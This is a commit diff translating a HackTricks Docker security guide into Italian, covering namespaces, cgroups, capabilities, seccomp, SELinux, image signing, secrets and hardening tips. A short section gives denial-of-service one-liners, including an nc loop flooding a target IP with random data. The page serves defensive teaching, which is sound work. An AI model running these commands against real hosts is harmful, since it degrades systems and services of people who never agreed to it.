Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l

This commit is contained in:
Translator 2025-01-02 19:41:08 +00:00
parent c0e6214ee1
commit 1d007390dd
227 changed files with 6503 additions and 9924 deletions

File diff suppressed because it is too large Load Diff

View File

@ -1,57 +1,46 @@
# Docker Security
# Sicurezza di Docker
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
## **Sicurezza di Base del Motore Docker**
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
Il **motore Docker** utilizza i **Namespaces** e i **Cgroups** del kernel Linux per isolare i container, offrendo un livello base di sicurezza. Ulteriore protezione è fornita tramite il **Capabilities dropping**, **Seccomp** e **SELinux/AppArmor**, migliorando l'isolamento dei container. Un **auth plugin** può ulteriormente limitare le azioni degli utenti.
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
![Sicurezza di Docker](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
## **Basic Docker Engine Security**
### Accesso Sicuro al Motore Docker
The **Docker engine** employs the Linux kernel's **Namespaces** and **Cgroups** to isolate containers, offering a basic layer of security. Additional protection is provided through **Capabilities dropping**, **Seccomp**, and **SELinux/AppArmor**, enhancing container isolation. An **auth plugin** can further restrict user actions.
![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
### Secure Access to Docker Engine
The Docker engine can be accessed either locally via a Unix socket or remotely using HTTP. For remote access, it's essential to employ HTTPS and **TLS** to ensure confidentiality, integrity, and authentication.
The Docker engine, by default, listens on the Unix socket at `unix:///var/run/docker.sock`. On Ubuntu systems, Docker's startup options are defined in `/etc/default/docker`. To enable remote access to the Docker API and client, expose the Docker daemon over an HTTP socket by adding the following settings:
Il motore Docker può essere accesso localmente tramite un socket Unix o remotamente utilizzando HTTP. Per l'accesso remoto, è essenziale utilizzare HTTPS e **TLS** per garantire riservatezza, integrità e autenticazione.
Il motore Docker, per impostazione predefinita, ascolta sul socket Unix a `unix:///var/run/docker.sock`. Nei sistemi Ubuntu, le opzioni di avvio di Docker sono definite in `/etc/default/docker`. Per abilitare l'accesso remoto all'API e al client Docker, esporre il demone Docker su un socket HTTP aggiungendo le seguenti impostazioni:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
```
Tuttavia, esporre il daemon Docker su HTTP non è raccomandato a causa di preoccupazioni di sicurezza. È consigliabile proteggere le connessioni utilizzando HTTPS. Ci sono due approcci principali per garantire la connessione:
However, exposing the Docker daemon over HTTP is not recommended due to security concerns. It's advisable to secure connections using HTTPS. There are two main approaches to securing the connection:
1. Il client verifica l'identità del server.
2. Sia il client che il server si autenticano reciprocamente.
1. The client verifies the server's identity.
2. Both the client and server mutually authenticate each other's identity.
I certificati vengono utilizzati per confermare l'identità di un server. Per esempi dettagliati di entrambi i metodi, fare riferimento a [**questa guida**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
Certificates are utilized to confirm a server's identity. For detailed examples of both methods, refer to [**this guide**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
### Sicurezza delle Immagini dei Container
### Security of Container Images
Le immagini dei container possono essere memorizzate in repository privati o pubblici. Docker offre diverse opzioni di archiviazione per le immagini dei container:
Container images can be stored in either private or public repositories. Docker offers several storage options for container images:
- [**Docker Hub**](https://hub.docker.com): Un servizio di registry pubblico di Docker.
- [**Docker Registry**](https://github.com/docker/distribution): Un progetto open-source che consente agli utenti di ospitare il proprio registry.
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): L'offerta commerciale di registry di Docker, con autenticazione utente basata su ruoli e integrazione con i servizi di directory LDAP.
- [**Docker Hub**](https://hub.docker.com): A public registry service from Docker.
- [**Docker Registry**](https://github.com/docker/distribution): An open-source project allowing users to host their own registry.
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker's commercial registry offering, featuring role-based user authentication and integration with LDAP directory services.
### Scansione delle Immagini
### Image Scanning
I container possono avere **vulnerabilità di sicurezza** sia a causa dell'immagine di base che a causa del software installato sopra l'immagine di base. Docker sta lavorando a un progetto chiamato **Nautilus** che esegue la scansione di sicurezza dei container e elenca le vulnerabilità. Nautilus funziona confrontando ogni layer dell'immagine del container con il repository delle vulnerabilità per identificare le falle di sicurezza.
Containers can have **security vulnerabilities** either because of the base image or because of the software installed on top of the base image. Docker is working on a project called **Nautilus** that does security scan of Containers and lists the vulnerabilities. Nautilus works by comparing the each Container image layer with vulnerability repository to identify security holes.
For more [**information read this**](https://docs.docker.com/engine/scan/).
Per ulteriori [**informazioni leggi questo**](https://docs.docker.com/engine/scan/).
- **`docker scan`**
The **`docker scan`** command allows you to scan existing Docker images using the image name or ID. For example, run the following command to scan the hello-world image:
Il comando **`docker scan`** consente di eseguire la scansione delle immagini Docker esistenti utilizzando il nome o l'ID dell'immagine. Ad esempio, eseguire il seguente comando per scansionare l'immagine hello-world:
```bash
docker scan hello-world
@ -67,103 +56,82 @@ Licenses: enabled
Note that we do not currently have vulnerability data for your image.
```
- [**`trivy`**](https://github.com/aquasecurity/trivy)
```bash
trivy -q -f json <container_name>:<tag>
```
- [**`snyk`**](https://docs.snyk.io/snyk-cli/getting-started-with-the-cli)
```bash
snyk container test <image> --json-file-output=<output file> --severity-threshold=high
```
- [**`clair-scanner`**](https://github.com/arminc/clair-scanner)
```bash
clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
```
### Firma delle Immagini Docker
### Docker Image Signing
La firma delle immagini Docker garantisce la sicurezza e l'integrità delle immagini utilizzate nei container. Ecco una spiegazione condensata:
Docker image signing ensures the security and integrity of images used in containers. Here's a condensed explanation:
- **Docker Content Trust** utilizes the Notary project, based on The Update Framework (TUF), to manage image signing. For more info, see [Notary](https://github.com/docker/notary) and [TUF](https://theupdateframework.github.io).
- To activate Docker content trust, set `export DOCKER_CONTENT_TRUST=1`. This feature is off by default in Docker version 1.10 and later.
- With this feature enabled, only signed images can be downloaded. Initial image push requires setting passphrases for the root and tagging keys, with Docker also supporting Yubikey for enhanced security. More details can be found [here](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Attempting to pull an unsigned image with content trust enabled results in a "No trust data for latest" error.
- For image pushes after the first, Docker asks for the repository key's passphrase to sign the image.
To back up your private keys, use the command:
- **Docker Content Trust** utilizza il progetto Notary, basato su The Update Framework (TUF), per gestire la firma delle immagini. Per ulteriori informazioni, vedere [Notary](https://github.com/docker/notary) e [TUF](https://theupdateframework.github.io).
- Per attivare la fiducia nei contenuti Docker, impostare `export DOCKER_CONTENT_TRUST=1`. Questa funzione è disattivata per impostazione predefinita nelle versioni di Docker 1.10 e successive.
- Con questa funzione attivata, possono essere scaricate solo immagini firmate. La prima spinta dell'immagine richiede l'impostazione delle frasi segrete per le chiavi root e di tagging, con Docker che supporta anche Yubikey per una maggiore sicurezza. Maggiori dettagli possono essere trovati [qui](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Tentare di scaricare un'immagine non firmata con la fiducia nei contenuti attivata risulta in un errore "No trust data for latest".
- Per le spinte delle immagini dopo la prima, Docker richiede la frase segreta della chiave del repository per firmare l'immagine.
Per eseguire il backup delle tue chiavi private, usa il comando:
```bash
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
```
Quando si cambiano gli host Docker, è necessario spostare le chiavi root e repository per mantenere le operazioni.
When switching Docker hosts, it's necessary to move the root and repository keys to maintain operations.
---
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## Containers Security Features
## Caratteristiche di Sicurezza dei Container
<details>
<summary>Summary of Container Security Features</summary>
<summary>Riepilogo delle Caratteristiche di Sicurezza dei Container</summary>
**Main Process Isolation Features**
**Principali Caratteristiche di Isolamento dei Processi**
In containerized environments, isolating projects and their processes is paramount for security and resource management. Here's a simplified explanation of key concepts:
Negli ambienti containerizzati, isolare i progetti e i loro processi è fondamentale per la sicurezza e la gestione delle risorse. Ecco una spiegazione semplificata dei concetti chiave:
**Namespaces**
**Namespace**
- **Purpose**: Ensure isolation of resources like processes, network, and filesystems. Particularly in Docker, namespaces keep a container's processes separate from the host and other containers.
- **Usage of `unshare`**: The `unshare` command (or the underlying syscall) is utilized to create new namespaces, providing an added layer of isolation. However, while Kubernetes doesn't inherently block this, Docker does.
- **Limitation**: Creating new namespaces doesn't allow a process to revert to the host's default namespaces. To penetrate the host namespaces, one would typically require access to the host's `/proc` directory, using `nsenter` for entry.
- **Scopo**: Garantire l'isolamento delle risorse come processi, rete e filesystem. In particolare in Docker, i namespace mantengono i processi di un container separati dall'host e da altri container.
- **Utilizzo di `unshare`**: Il comando `unshare` (o la syscall sottostante) è utilizzato per creare nuovi namespace, fornendo un ulteriore livello di isolamento. Tuttavia, mentre Kubernetes non blocca intrinsecamente questo, Docker lo fa.
- **Limitazione**: Creare nuovi namespace non consente a un processo di tornare ai namespace predefiniti dell'host. Per penetrare nei namespace dell'host, in genere è necessario avere accesso alla directory `/proc` dell'host, utilizzando `nsenter` per l'ingresso.
**Control Groups (CGroups)**
**Gruppi di Controllo (CGroups)**
- **Function**: Primarily used for allocating resources among processes.
- **Security Aspect**: CGroups themselves don't offer isolation security, except for the `release_agent` feature, which, if misconfigured, could potentially be exploited for unauthorized access.
- **Funzione**: Utilizzati principalmente per allocare risorse tra i processi.
- **Aspetto di Sicurezza**: I CGroups stessi non offrono sicurezza di isolamento, tranne per la funzione `release_agent`, che, se configurata in modo errato, potrebbe essere sfruttata per accesso non autorizzato.
**Capability Drop**
**Riduzione delle Capacità**
- **Importance**: It's a crucial security feature for process isolation.
- **Functionality**: It restricts the actions a root process can perform by dropping certain capabilities. Even if a process runs with root privileges, lacking the necessary capabilities prevents it from executing privileged actions, as the syscalls will fail due to insufficient permissions.
These are the **remaining capabilities** after the process drop the others:
- **Importanza**: È una caratteristica di sicurezza cruciale per l'isolamento dei processi.
- **Funzionalità**: Limita le azioni che un processo root può eseguire riducendo certe capacità. Anche se un processo viene eseguito con privilegi di root, la mancanza delle capacità necessarie impedisce l'esecuzione di azioni privilegiate, poiché le syscall falliranno a causa di permessi insufficienti.
Queste sono le **capacità rimanenti** dopo che il processo ha ridotto le altre:
```
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
```
**Seccomp**
It's enabled by default in Docker. It helps to **limit even more the syscalls** that the process can call.\
The **default Docker Seccomp profile** can be found in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
È abilitato per impostazione predefinita in Docker. Aiuta a **limitare ulteriormente le syscalls** che il processo può chiamare.\
Il **profilo Seccomp predefinito di Docker** può essere trovato in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
**AppArmor**
Docker has a template that you can activate: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
Docker ha un modello che puoi attivare: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
This will allow to reduce capabilities, syscalls, access to files and folders...
Questo permetterà di ridurre le capacità, le syscalls, l'accesso a file e cartelle...
</details>
### Namespaces
**Namespaces** are a feature of the Linux kernel that **partitions kernel resources** such that one set of **processes** **sees** one set of **resources** while **another** set of **processes** sees a **different** set of resources. The feature works by having the same namespace for a set of resources and processes, but those namespaces refer to distinct resources. Resources may exist in multiple spaces.
I **Namespaces** sono una funzionalità del kernel Linux che **partiziona le risorse del kernel** in modo tale che un insieme di **processi** **veda** un insieme di **risorse** mentre un **altro** insieme di **processi** vede un **insieme** diverso di risorse. La funzionalità funziona avendo lo stesso namespace per un insieme di risorse e processi, ma quei namespace si riferiscono a risorse distinte. Le risorse possono esistere in più spazi.
Docker makes use of the following Linux kernel Namespaces to achieve Container isolation:
Docker utilizza i seguenti Namespaces del kernel Linux per ottenere l'isolamento dei Container:
- pid namespace
- mount namespace
@ -171,7 +139,7 @@ Docker makes use of the following Linux kernel Namespaces to achieve Container i
- ipc namespace
- UTS namespace
For **more information about the namespaces** check the following page:
Per **maggiori informazioni sui namespaces** controlla la seguente pagina:
{{#ref}}
namespaces/
@ -179,32 +147,28 @@ namespaces/
### cgroups
Linux kernel feature **cgroups** provides capability to **restrict resources like cpu, memory, io, network bandwidth among** a set of processes. Docker allows to create Containers using cgroup feature which allows for resource control for the specific Container.\
Following is a Container created with user space memory limited to 500m, kernel memory limited to 50m, cpu share to 512, blkioweight to 400. CPU share is a ratio that controls Containers CPU usage. It has a default value of 1024 and range between 0 and 1024. If three Containers have the same CPU share of 1024, each Container can take upto 33% of CPU in case of CPU resource contention. blkio-weight is a ratio that controls Containers IO. It has a default value of 500 and range between 10 and 1000.
La funzionalità del kernel Linux **cgroups** fornisce la capacità di **ristretto risorse come cpu, memoria, io, larghezza di banda di rete tra** un insieme di processi. Docker consente di creare Container utilizzando la funzionalità cgroup che consente il controllo delle risorse per il Container specifico.\
Di seguito è riportato un Container creato con la memoria dello spazio utente limitata a 500m, la memoria del kernel limitata a 50m, la condivisione della cpu a 512, il blkioweight a 400. La condivisione della CPU è un rapporto che controlla l'uso della CPU del Container. Ha un valore predefinito di 1024 e un intervallo tra 0 e 1024. Se tre Container hanno la stessa condivisione della CPU di 1024, ciascun Container può utilizzare fino al 33% della CPU in caso di contesa delle risorse CPU. Il blkio-weight è un rapporto che controlla l'IO del Container. Ha un valore predefinito di 500 e un intervallo tra 10 e 1000.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
To get the cgroup of a container you can do:
Per ottenere il cgroup di un container puoi fare:
```bash
docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
ps -ef | grep 1234 #Get info about the sleep process
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
```
For more information check:
Per ulteriori informazioni controlla:
{{#ref}}
cgroups.md
{{#endref}}
### Capabilities
### Capacità
Capabilities allow **finer control for the capabilities that can be allowed** for root user. Docker uses the Linux kernel capability feature to **limit the operations that can be done inside a Container** irrespective of the type of user.
Le capacità consentono un **controllo più fine delle capacità che possono essere consentite** per l'utente root. Docker utilizza la funzionalità di capacità del kernel Linux per **limitare le operazioni che possono essere eseguite all'interno di un Container** indipendentemente dal tipo di utente.
When a docker container is run, the **process drops sensitive capabilities that the proccess could use to escape from the isolation**. This try to assure that the proccess won't be able to perform sensitive actions and escape:
Quando un container docker viene eseguito, il **processo abbandona capacità sensibili che il processo potrebbe utilizzare per sfuggire all'isolamento**. Questo cerca di garantire che il processo non sarà in grado di eseguire azioni sensibili e fuggire:
{{#ref}}
../linux-capabilities.md
@ -212,7 +176,7 @@ When a docker container is run, the **process drops sensitive capabilities that
### Seccomp in Docker
This is a security feature that allows Docker to **limit the syscalls** that can be used inside the container:
Questa è una funzionalità di sicurezza che consente a Docker di **limitare le syscalls** che possono essere utilizzate all'interno del container:
{{#ref}}
seccomp.md
@ -220,7 +184,7 @@ seccomp.md
### AppArmor in Docker
**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**.:
**AppArmor** è un miglioramento del kernel per confinare **i container** a un **insieme limitato di risorse** con **profili per programma**.:
{{#ref}}
apparmor.md
@ -228,13 +192,13 @@ apparmor.md
### SELinux in Docker
- **Labeling System**: SELinux assigns a unique label to every process and filesystem object.
- **Policy Enforcement**: It enforces security policies that define what actions a process label can perform on other labels within the system.
- **Container Process Labels**: When container engines initiate container processes, they are typically assigned a confined SELinux label, commonly `container_t`.
- **File Labeling within Containers**: Files within the container are usually labeled as `container_file_t`.
- **Policy Rules**: The SELinux policy primarily ensures that processes with the `container_t` label can only interact (read, write, execute) with files labeled as `container_file_t`.
- **Sistema di Etichettatura**: SELinux assegna un'etichetta unica a ogni processo e oggetto del filesystem.
- **Applicazione delle Politiche**: Applica politiche di sicurezza che definiscono quali azioni un'etichetta di processo può eseguire su altre etichette all'interno del sistema.
- **Etichette dei Processi del Container**: Quando i motori dei container avviano processi del container, di solito viene assegnata un'etichetta SELinux confinata, comunemente `container_t`.
- **Etichettatura dei File all'interno dei Container**: I file all'interno del container sono solitamente etichettati come `container_file_t`.
- **Regole di Politica**: La politica SELinux garantisce principalmente che i processi con l'etichetta `container_t` possano interagire solo (leggere, scrivere, eseguire) con file etichettati come `container_file_t`.
This mechanism ensures that even if a process within a container is compromised, it's confined to interacting only with objects that have the corresponding labels, significantly limiting the potential damage from such compromises.
Questo meccanismo garantisce che anche se un processo all'interno di un container viene compromesso, è confinato a interagire solo con oggetti che hanno le etichette corrispondenti, limitando significativamente il potenziale danno derivante da tali compromissioni.
{{#ref}}
../selinux.md
@ -242,23 +206,22 @@ This mechanism ensures that even if a process within a container is compromised,
### AuthZ & AuthN
In Docker, an authorization plugin plays a crucial role in security by deciding whether to allow or block requests to the Docker daemon. This decision is made by examining two key contexts:
In Docker, un plugin di autorizzazione gioca un ruolo cruciale nella sicurezza decidendo se consentire o bloccare le richieste al demone Docker. Questa decisione viene presa esaminando due contesti chiave:
- **Authentication Context**: This includes comprehensive information about the user, such as who they are and how they've authenticated themselves.
- **Command Context**: This comprises all pertinent data related to the request being made.
- **Contesto di Autenticazione**: Questo include informazioni complete sull'utente, come chi sono e come si sono autenticati.
- **Contesto del Comando**: Questo comprende tutti i dati pertinenti relativi alla richiesta effettuata.
These contexts help ensure that only legitimate requests from authenticated users are processed, enhancing the security of Docker operations.
Questi contesti aiutano a garantire che solo le richieste legittime da parte di utenti autenticati vengano elaborate, migliorando la sicurezza delle operazioni Docker.
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md
{{#endref}}
## DoS from a container
## DoS da un container
If you are not properly limiting the resources a container can use, a compromised container could DoS the host where it's running.
Se non limiti correttamente le risorse che un container può utilizzare, un container compromesso potrebbe causare un DoS all'host su cui è in esecuzione.
- CPU DoS
```bash
# stress-ng
sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m
@ -266,18 +229,15 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
# While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
```
- Bandwidth DoS
```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
```
## Interesting Docker Flags
## Flag Docker Interessanti
### --privileged flag
In the following page you can learn **what does the `--privileged` flag imply**:
Nella pagina seguente puoi imparare **cosa implica il flag `--privileged`**:
{{#ref}}
docker-privileged.md
@ -287,16 +247,13 @@ docker-privileged.md
#### no-new-privileges
If you are running a container where an attacker manages to get access as a low privilege user. If you have a **miss-configured suid binary**, the attacker may abuse it and **escalate privileges inside** the container. Which, may allow him to escape from it.
Running the container with the **`no-new-privileges`** option enabled will **prevent this kind of privilege escalation**.
Se stai eseguendo un container in cui un attaccante riesce ad accedere come utente a bassa privilegio. Se hai un **binary suid mal configurato**, l'attaccante potrebbe abusarne e **escalare i privilegi all'interno** del container. Questo potrebbe permettergli di fuggire da esso.
Eseguire il container con l'opzione **`no-new-privileges`** abilitata **prevenirà questo tipo di escalation dei privilegi**.
```
docker run -it --security-opt=no-new-privileges:true nonewpriv
```
#### Other
#### Altro
```bash
#You can manually add/drop capabilities with
--cap-add
@ -311,90 +268,85 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
# You can manually disable selinux in docker with
--security-opt label:disable
```
Per ulteriori opzioni **`--security-opt`** controlla: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
For more **`--security-opt`** options check: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
## Altre Considerazioni sulla Sicurezza
## Other Security Considerations
### Gestione dei Segreti: Migliori Pratiche
### Managing Secrets: Best Practices
È fondamentale evitare di incorporare segreti direttamente nelle immagini Docker o di utilizzare variabili d'ambiente, poiché questi metodi espongono le tue informazioni sensibili a chiunque abbia accesso al container tramite comandi come `docker inspect` o `exec`.
It's crucial to avoid embedding secrets directly in Docker images or using environment variables, as these methods expose your sensitive information to anyone with access to the container through commands like `docker inspect` or `exec`.
**I volumi Docker** sono un'alternativa più sicura, raccomandata per accedere a informazioni sensibili. Possono essere utilizzati come un filesystem temporaneo in memoria, mitigando i rischi associati a `docker inspect` e al logging. Tuttavia, gli utenti root e quelli con accesso `exec` al container potrebbero comunque accedere ai segreti.
**Docker volumes** are a safer alternative, recommended for accessing sensitive information. They can be utilized as a temporary filesystem in memory, mitigating the risks associated with `docker inspect` and logging. However, root users and those with `exec` access to the container might still access the secrets.
**I segreti Docker** offrono un metodo ancora più sicuro per gestire informazioni sensibili. Per le istanze che richiedono segreti durante la fase di build dell'immagine, **BuildKit** presenta una soluzione efficiente con supporto per segreti a tempo di build, migliorando la velocità di build e fornendo funzionalità aggiuntive.
**Docker secrets** offer an even more secure method for handling sensitive information. For instances requiring secrets during the image build phase, **BuildKit** presents an efficient solution with support for build-time secrets, enhancing build speed and providing additional features.
Per sfruttare BuildKit, può essere attivato in tre modi:
To leverage BuildKit, it can be activated in three ways:
1. Through an environment variable: `export DOCKER_BUILDKIT=1`
2. By prefixing commands: `DOCKER_BUILDKIT=1 docker build .`
3. By enabling it by default in the Docker configuration: `{ "features": { "buildkit": true } }`, followed by a Docker restart.
BuildKit allows for the use of build-time secrets with the `--secret` option, ensuring these secrets are not included in the image build cache or the final image, using a command like:
1. Tramite una variabile d'ambiente: `export DOCKER_BUILDKIT=1`
2. Prefissando i comandi: `DOCKER_BUILDKIT=1 docker build .`
3. Abilitandolo per impostazione predefinita nella configurazione di Docker: `{ "features": { "buildkit": true } }`, seguito da un riavvio di Docker.
BuildKit consente l'uso di segreti a tempo di build con l'opzione `--secret`, assicurando che questi segreti non siano inclusi nella cache di build dell'immagine o nell'immagine finale, utilizzando un comando come:
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
For secrets needed in a running container, **Docker Compose and Kubernetes** offer robust solutions. Docker Compose utilizes a `secrets` key in the service definition for specifying secret files, as shown in a `docker-compose.yml` example:
Per i segreti necessari in un container in esecuzione, **Docker Compose e Kubernetes** offrono soluzioni robuste. Docker Compose utilizza una chiave `secrets` nella definizione del servizio per specificare i file segreti, come mostrato in un esempio di `docker-compose.yml`:
```yaml
version: "3.7"
services:
my_service:
image: centos:7
entrypoint: "cat /run/secrets/my_secret"
secrets:
- my_secret
my_service:
image: centos:7
entrypoint: "cat /run/secrets/my_secret"
secrets:
my_secret:
file: ./my_secret_file.txt
- my_secret
secrets:
my_secret:
file: ./my_secret_file.txt
```
Questa configurazione consente l'uso di segreti durante l'avvio dei servizi con Docker Compose.
This configuration allows for the use of secrets when starting services with Docker Compose.
In Kubernetes environments, secrets are natively supported and can be further managed with tools like [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes' Role Based Access Controls (RBAC) enhances secret management security, similar to Docker Enterprise.
Negli ambienti Kubernetes, i segreti sono supportati nativamente e possono essere ulteriormente gestiti con strumenti come [Helm-Secrets](https://github.com/futuresimple/helm-secrets). I controlli di accesso basati sui ruoli (RBAC) di Kubernetes migliorano la sicurezza nella gestione dei segreti, simile a Docker Enterprise.
### gVisor
**gVisor** is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime called `runsc` that provides an **isolation boundary between the application and the host kernel**. The `runsc` runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers.
**gVisor** è un kernel applicativo, scritto in Go, che implementa una parte sostanziale della superficie di sistema Linux. Include un runtime [Open Container Initiative (OCI)](https://www.opencontainers.org) chiamato `runsc` che fornisce un **confine di isolamento tra l'applicazione e il kernel host**. Il runtime `runsc` si integra con Docker e Kubernetes, rendendo semplice l'esecuzione di container sandboxed.
{% embed url="https://github.com/google/gvisor" %}
### Kata Containers
**Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide **stronger workload isolation using hardware virtualization** technology as a second layer of defense.
**Kata Containers** è una comunità open source che lavora per costruire un runtime di container sicuro con macchine virtuali leggere che si comportano e performano come container, ma forniscono **un isolamento del carico di lavoro più forte utilizzando la tecnologia di virtualizzazione hardware** come secondo strato di difesa.
{% embed url="https://katacontainers.io/" %}
### Summary Tips
### Suggerimenti Riassuntivi
- **Do not use the `--privileged` flag or mount a** [**Docker socket inside the container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag.
- Do **not run as root inside the container. Use a** [**different user**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **and** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups.
- [**Drop all capabilities**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) and enable only those that are required** (`--cap-add=...`). Many of workloads dont need any capabilities and adding them increases the scope of a potential attack.
- [**Use the “no-new-privileges” security option**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries.
- [**Limit resources available to the container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Resource limits can protect the machine from denial of service attacks.
- **Adjust** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(or SELinux)** profiles to restrict the actions and syscalls available for the container to the minimum required.
- **Use** [**official docker images**](https://docs.docker.com/docker-hub/official_images/) **and require signatures** or build your own based on them. Dont inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. Also store root keys, passphrase in a safe place. Docker has plans to manage keys with UCP.
- **Regularly** **rebuild** your images to **apply security patches to the host an images.**
- Manage your **secrets wisely** so it's difficult to the attacker to access them.
- If you **exposes the docker daemon use HTTPS** with client & server authentication.
- In your Dockerfile, **favor COPY instead of ADD**. ADD automatically extracts zipped files and can copy files from URLs. COPY doesnt have these capabilities. Whenever possible, avoid using ADD so you arent susceptible to attacks through remote URLs and Zip files.
- Have **separate containers for each micro-s**ervice
- **Dont put ssh** inside container, “docker exec” can be used to ssh to Container.
- Have **smaller** container **images**
- **Non utilizzare il flag `--privileged` o montare un** [**socket Docker all'interno del container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Il socket docker consente di avviare container, quindi è un modo semplice per prendere il controllo completo dell'host, ad esempio, eseguendo un altro container con il flag `--privileged`.
- **Non eseguire come root all'interno del container. Utilizzare un** [**utente diverso**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **e** [**spazi dei nomi utente**](https://docs.docker.com/engine/security/userns-remap/)**.** L'utente root nel container è lo stesso dell'host a meno che non venga rimappato con gli spazi dei nomi utente. È solo leggermente limitato da, principalmente, spazi dei nomi Linux, capacità e cgroups.
- [**Elimina tutte le capacità**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e abilita solo quelle necessarie** (`--cap-add=...`). Molti carichi di lavoro non necessitano di capacità e aggiungerle aumenta l'ambito di un potenziale attacco.
- [**Utilizza l'opzione di sicurezza “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) per impedire ai processi di acquisire più privilegi, ad esempio tramite binari suid.
- [**Limita le risorse disponibili per il container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** I limiti delle risorse possono proteggere la macchina da attacchi di denial of service.
- **Regola** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** profili per limitare le azioni e le syscalls disponibili per il container al minimo necessario.
- **Utilizza** [**immagini docker ufficiali**](https://docs.docker.com/docker-hub/official_images/) **e richiedi firme** o costruisci le tue basate su di esse. Non ereditare o utilizzare immagini [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Inoltre, conserva le chiavi root e le frasi di accesso in un luogo sicuro. Docker ha piani per gestire le chiavi con UCP.
- **Ricostruisci regolarmente** le tue immagini per **applicare patch di sicurezza all'host e alle immagini.**
- Gestisci i tuoi **segreti con saggezza** in modo che sia difficile per l'attaccante accedervi.
- Se **esponi il demone docker utilizza HTTPS** con autenticazione client e server.
- Nel tuo Dockerfile, **preferisci COPY invece di ADD**. ADD estrae automaticamente file compressi e può copiare file da URL. COPY non ha queste capacità. Ogni volta che è possibile, evita di utilizzare ADD per non essere suscettibile ad attacchi tramite URL remoti e file Zip.
- Avere **container separati per ogni micro-servizio**
